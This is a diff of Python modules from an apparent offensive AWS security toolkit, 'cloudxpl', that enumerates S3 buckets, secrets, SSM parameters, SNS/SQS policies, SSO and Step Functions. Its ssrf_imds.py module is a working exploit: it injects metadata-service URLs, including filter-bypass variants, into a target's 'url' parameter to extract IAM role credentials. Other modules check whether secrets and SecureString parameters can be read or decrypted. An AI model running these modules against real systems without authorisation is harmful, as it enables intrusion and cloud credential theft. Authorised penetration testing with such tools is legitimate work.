cloudxpl 4.2.0__py3-none-any.whl

cloudxpl/modules/aws/s3_exfil.py

@@ -0,0 +1,60 @@
+"""AWS S3 data exfiltration — object listing, download, cross-account copy simulation."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.s3_exfil.v1",
+    "safety_class": "ACTIVE",
+    "requires_authorization": True,
+    "side_effects": ['aws_api_calls', 'data_access'],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1537","T1530"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS S3 Exfiltration Assessment (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    s3 = session.client("s3")
+    target = getattr(args, "target", None)
+    if not target:
+        print("[!] --target bucket name required"); return 1
+    results = {"bucket": target, "objects": [], "total_size": 0}
+    try:
+        paginator = s3.get_paginator("list_objects_v2")
+        count = 0
+        for page in paginator.paginate(Bucket=target, MaxKeys=1000):
+            for obj in page.get("Contents", []):
+                results["objects"].append({"key": obj["Key"], "size": obj["Size"], "modified": obj["LastModified"].isoformat()})
+                results["total_size"] += obj["Size"]
+                count += 1
+                if count <= 20:
+                    print(f"  {obj['Key']} ({obj['Size']} bytes)")
+        print(f"[+] {count} objects found, total size: {results['total_size'] / (1024*1024):.1f} MB")
+    except Exception as exc:
+        print(f"[-] List objects failed: {exc}"); return 1
+    _save(args, "aws_s3_exfil", results)
+    return 0

cloudxpl/modules/aws/s3_exploit.py

@@ -0,0 +1,85 @@
+"""AWS S3 bucket exploitation — ACL abuse, policy injection, object-level attacks."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.s3_exploit.v1",
+    "safety_class": "ACTIVE",
+    "requires_authorization": True,
+    "side_effects": ['aws_api_calls', 'data_access'],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1530"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS S3 Bucket Exploitation (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    s3 = session.client("s3")
+    target = getattr(args, "target", None)
+    results = {"findings": []}
+    buckets = []
+    if target:
+        buckets = [target]
+    else:
+        try:
+            buckets = [b["BucketName"] for b in s3.list_buckets()["Buckets"]]
+        except Exception as exc:
+            print(f"[-] list_buckets failed: {exc}"); return 1
+    for bkt in buckets:
+        print(f"[*] Testing bucket: {bkt}")
+        finding = {"bucket": bkt, "vulnerabilities": []}
+        try:
+            acl = s3.get_bucket_acl(Bucket=bkt)
+            for g in acl.get("Grants", []):
+                uri = g.get("Grantee", {}).get("URI", "")
+                if "AllUsers" in uri or "AuthenticatedUsers" in uri:
+                    perm = g["Permission"]
+                    finding["vulnerabilities"].append({"type": "public_acl", "permission": perm, "grantee": uri.split("/")[-1]})
+                    print(f"  [!] Public ACL: {perm} to {uri.split('/')[-1]}")
+        except Exception: pass
+        try:
+            policy = s3.get_bucket_policy(Bucket=bkt)
+            import json as _json
+            pol_doc = _json.loads(policy["Policy"])
+            for stmt in pol_doc.get("Statement", []):
+                if stmt.get("Effect") == "Allow" and stmt.get("Principal") in ("*", {"AWS": "*"}):
+                    finding["vulnerabilities"].append({"type": "public_policy", "actions": stmt.get("Action"), "condition": stmt.get("Condition")})
+                    print(f"  [!] Public policy: {stmt.get('Action')}")
+        except Exception: pass
+        try:
+            cors = s3.get_bucket_cors(Bucket=bkt)
+            for rule in cors.get("CORSRules", []):
+                origins = rule.get("AllowedOrigins", [])
+                if "*" in origins:
+                    finding["vulnerabilities"].append({"type": "cors_wildcard", "methods": rule.get("AllowedMethods")})
+                    print(f"  [!] CORS wildcard origin")
+        except Exception: pass
+        if finding["vulnerabilities"]:
+            results["findings"].append(finding)
+    _save(args, "aws_s3_exploit", results)
+    print(f"[+] {len(results['findings'])} vulnerable buckets found")
+    return 0

cloudxpl/modules/aws/secrets_manager.py

@@ -0,0 +1,62 @@
+"""AWS Secrets Manager enumeration and extraction."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.secrets_manager.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1552"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS Secrets Manager Enumeration (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    sm = session.client("secretsmanager")
+    results = {"secrets": [], "accessible": []}
+    try:
+        paginator = sm.get_paginator("list_secrets")
+        for page in paginator.paginate():
+            for secret in page["SecretList"]:
+                info = {"name": secret["Name"], "arn": secret["ARN"], "last_changed": str(secret.get("LastChangedDate", "")), "rotation": secret.get("RotationEnabled", False)}
+                try:
+                    value = sm.get_secret_value(SecretId=secret["ARN"])
+                    info["accessible"] = True
+                    info["version_id"] = value.get("VersionId", "")
+                    results["accessible"].append(info["name"])
+                    print(f"  [!] {secret['Name']}: ACCESSIBLE (can read secret value)")
+                except Exception:
+                    info["accessible"] = False
+                    print(f"  [-] {secret['Name']}: access denied")
+                results["secrets"].append(info)
+    except Exception as exc:
+        print(f"[-] Secrets enum failed: {exc}"); return 1
+    _save(args, "aws_secrets_manager", results)
+    print(f"[+] {len(results['secrets'])} secrets found, {len(results['accessible'])} accessible")
+    return 0

cloudxpl/modules/aws/sns_exploit.py

@@ -0,0 +1,66 @@
+"""AWS SNS topic enumeration and subscription analysis."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.sns_exploit.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1530"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS SNS Topic Analysis (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    sns = session.client("sns")
+    results = {"topics": [], "public": []}
+    try:
+        paginator = sns.get_paginator("list_topics")
+        for page in paginator.paginate():
+            for topic in page["Topics"]:
+                arn = topic["TopicArn"]
+                info = {"arn": arn, "name": arn.split(":")[-1]}
+                try:
+                    attrs = sns.get_topic_attributes(TopicArn=arn)["Attributes"]
+                    policy = attrs.get("Policy")
+                    if policy:
+                        import json as _json
+                        pol = _json.loads(policy)
+                        for stmt in pol.get("Statement", []):
+                            if stmt.get("Effect") == "Allow" and stmt.get("Principal") in ("*", {"AWS": "*"}):
+                                info["public"] = True
+                                results["public"].append(info["name"])
+                                print(f"  [!] {info['name']}: PUBLIC access")
+                except Exception: pass
+                results["topics"].append(info)
+    except Exception as exc:
+        print(f"[-] SNS enum failed: {exc}"); return 1
+    _save(args, "aws_sns_exploit", results)
+    print(f"[+] {len(results['topics'])} topics, {len(results['public'])} public")
+    return 0

cloudxpl/modules/aws/sqs_exploit.py

@@ -0,0 +1,62 @@
+"""AWS SQS queue enumeration and injection analysis."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.sqs_exploit.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1530"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS SQS Queue Analysis (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    sqs = session.client("sqs")
+    results = {"queues": [], "public": []}
+    try:
+        queues = sqs.list_queues().get("QueueUrls", [])
+        for qurl in queues:
+            attrs = sqs.get_queue_attributes(QueueUrl=qurl, AttributeNames=["All"])["Attributes"]
+            info = {"url": qurl, "messages": int(attrs.get("ApproximateNumberOfMessages", 0))}
+            policy = attrs.get("Policy")
+            if policy:
+                import json as _json
+                pol = _json.loads(policy)
+                for stmt in pol.get("Statement", []):
+                    if stmt.get("Effect") == "Allow" and stmt.get("Principal") in ("*", {"AWS": "*"}):
+                        info["public"] = True
+                        results["public"].append(qurl.split("/")[-1])
+                        print(f"  [!] {qurl.split('/')[-1]}: PUBLIC access")
+            results["queues"].append(info)
+    except Exception as exc:
+        print(f"[-] SQS enum failed: {exc}"); return 1
+    _save(args, "aws_sqs_exploit", results)
+    print(f"[+] {len(results['queues'])} queues, {len(results['public'])} public")
+    return 0

cloudxpl/modules/aws/ssm_param_store.py

@@ -0,0 +1,69 @@
+"""AWS SSM Parameter Store enumeration — strings, SecureString, credential extraction."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ssm_param_store.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1552"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS SSM Parameter Store Enumeration (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ssm = session.client("ssm")
+    results = {"parameters": [], "secure_strings": [], "decryptable": []}
+    try:
+        paginator = ssm.get_paginator("describe_parameters")
+        for page in paginator.paginate():
+            for param in page["Parameters"]:
+                info = {"name": param["Name"], "type": param["Type"], "last_modified": str(param.get("LastModifiedDate", ""))}
+                if param["Type"] == "SecureString":
+                    results["secure_strings"].append(param["Name"])
+                    try:
+                        val = ssm.get_parameter(Name=param["Name"], WithDecryption=True)
+                        info["decryptable"] = True
+                        results["decryptable"].append(param["Name"])
+                        print(f"  [!] {param['Name']}: SecureString DECRYPTABLE")
+                    except Exception:
+                        info["decryptable"] = False
+                else:
+                    try:
+                        val = ssm.get_parameter(Name=param["Name"])
+                        v = val["Parameter"]["Value"]
+                        if any(k in param["Name"].upper() for k in ["KEY", "SECRET", "TOKEN", "PASS", "CRED"]):
+                            print(f"  [!] {param['Name']}: sensitive parameter name")
+                    except Exception: pass
+                results["parameters"].append(info)
+    except Exception as exc:
+        print(f"[-] Parameter enumeration failed: {exc}"); return 1
+    _save(args, "aws_ssm_param_store", results)
+    print(f"[+] {len(results['parameters'])} params, {len(results['secure_strings'])} SecureString, {len(results['decryptable'])} decryptable")
+    return 0

cloudxpl/modules/aws/sso_enum.py

@@ -0,0 +1,63 @@
+"""AWS SSO/Identity Center enumeration — instances, permission sets."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.sso_enum.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1078"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS SSO Enumeration (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    sso_admin = session.client("sso-admin")
+    results = {"instances": [], "permission_sets": []}
+    try:
+        instances = sso_admin.list_instances()["Instances"]
+        for inst in instances:
+            arn = inst["InstanceArn"]
+            info = {"arn": arn, "identity_store": inst.get("IdentityStoreId", "")}
+            results["instances"].append(info)
+            print(f"  [+] SSO Instance: {arn}")
+            try:
+                ps_paginator = sso_admin.get_paginator("list_permission_sets")
+                for page in ps_paginator.paginate(InstanceArn=arn):
+                    for ps_arn in page["PermissionSets"]:
+                        try:
+                            ps = sso_admin.describe_permission_set(InstanceArn=arn, PermissionSetArn=ps_arn)["PermissionSet"]
+                            results["permission_sets"].append({"name": ps.get("Name", ""), "arn": ps_arn, "duration": ps.get("SessionDuration", "")})
+                        except Exception: pass
+            except Exception: pass
+    except Exception as exc:
+        print(f"[-] SSO enum failed: {exc}"); return 1
+    _save(args, "aws_sso_enum", results)
+    print(f"[+] {len(results['instances'])} instances, {len(results['permission_sets'])} permission sets")
+    return 0

cloudxpl/modules/aws/ssrf_imds.py

@@ -0,0 +1,97 @@
+"""SSRF to IMDS — exploit SSRF to reach EC2 Instance Metadata Service."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+from urllib.parse import urljoin
+
+import requests
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ssrf_imds.v1",
+    "safety_class": "ACTIVE",
+    "requires_authorization": True,
+    "side_effects": ["http_requests_via_target"],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1552.005"],
+}
+
+IMDS_V1_BASE = "http://169.254.169.254/latest/"
+IMDS_PATHS = [
+    "meta-data/",
+    "meta-data/iam/security-credentials/",
+    "meta-data/hostname",
+    "meta-data/local-ipv4",
+    "meta-data/public-ipv4",
+    "meta-data/instance-id",
+    "meta-data/instance-type",
+    "dynamic/instance-identity/document",
+    "user-data",
+]
+
+
+def _ssrf_fetch(target_url: str, imds_path: str, timeout: int = 10) -> str | None:
+    imds_url = urljoin(IMDS_V1_BASE, imds_path)
+
+    payloads = [
+        imds_url,
+        f"http://[::ffff:169.254.169.254]/latest/{imds_path}",
+        f"http://169.254.169.254.nip.io/latest/{imds_path}",
+        f"http://0xa9fea9fe/latest/{imds_path}",
+    ]
+
+    for payload in payloads:
+        try:
+            if "?" in target_url:
+                url = f"{target_url}&url={payload}"
+            else:
+                url = f"{target_url}?url={payload}"
+
+            resp = requests.get(url, timeout=timeout, allow_redirects=False)
+            if resp.status_code == 200 and resp.text and "169.254.169.254" not in resp.text[:50]:
+                return resp.text
+        except requests.RequestException:
+            continue
+    return None
+
+
+def run(args: Any) -> int:
+    if not args.target:
+        print("[!] --target URL required for SSRF-to-IMDS", file=sys.stderr)
+        return 1
+
+    print(f"[*] SSRF → IMDS via {args.target}")
+    results: dict[str, Any] = {"target": args.target, "findings": {}}
+
+    for path in IMDS_PATHS:
+        data = _ssrf_fetch(args.target, path)
+        if data:
+            results["findings"][path] = data
+            print(f"  [+] {path}: {data[:80]}{'...' if len(data) > 80 else ''}")
+
+    creds_listing = results["findings"].get("meta-data/iam/security-credentials/")
+    if creds_listing:
+        for role in creds_listing.strip().split("\n"):
+            role = role.strip()
+            if role:
+                cred_data = _ssrf_fetch(args.target, f"meta-data/iam/security-credentials/{role}")
+                if cred_data:
+                    results["findings"][f"credentials/{role}"] = cred_data
+                    print(f"  [!] CREDENTIALS for role {role} extracted!")
+
+    if results["findings"]:
+        os.makedirs(args.output, exist_ok=True)
+        ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+        out_path = os.path.join(args.output, f"ssrf_imds_{ts}.json")
+        with open(out_path, "w") as fh:
+            json.dump(results, fh, indent=2, default=str)
+        print(f"[+] {len(results['findings'])} IMDS paths reached → {out_path}")
+    else:
+        print("[-] No IMDS data retrieved via SSRF")
+
+    return 0

cloudxpl/modules/aws/stepfunctions_exploit.py

@@ -0,0 +1,57 @@
+"""AWS Step Functions enumeration and state machine analysis."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.stepfunctions_exploit.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1648"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS Step Functions Analysis (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    sfn = session.client("stepfunctions")
+    results = {"state_machines": []}
+    try:
+        machines = sfn.list_state_machines()["stateMachines"]
+        for sm in machines:
+            info = {"name": sm["name"], "arn": sm["stateMachineArn"], "type": sm.get("type", "STANDARD")}
+            try:
+                desc = sfn.describe_state_machine(stateMachineArn=sm["stateMachineArn"])
+                info["role"] = desc.get("roleArn", "")
+            except Exception: pass
+            results["state_machines"].append(info)
+            print(f"  [+] {sm['name']} ({sm.get('type', 'STANDARD')})")
+    except Exception as exc:
+        print(f"[-] Step Functions enum failed: {exc}"); return 1
+    _save(args, "aws_stepfunctions_exploit", results)
+    print(f"[+] {len(results['state_machines'])} state machines found")
+    return 0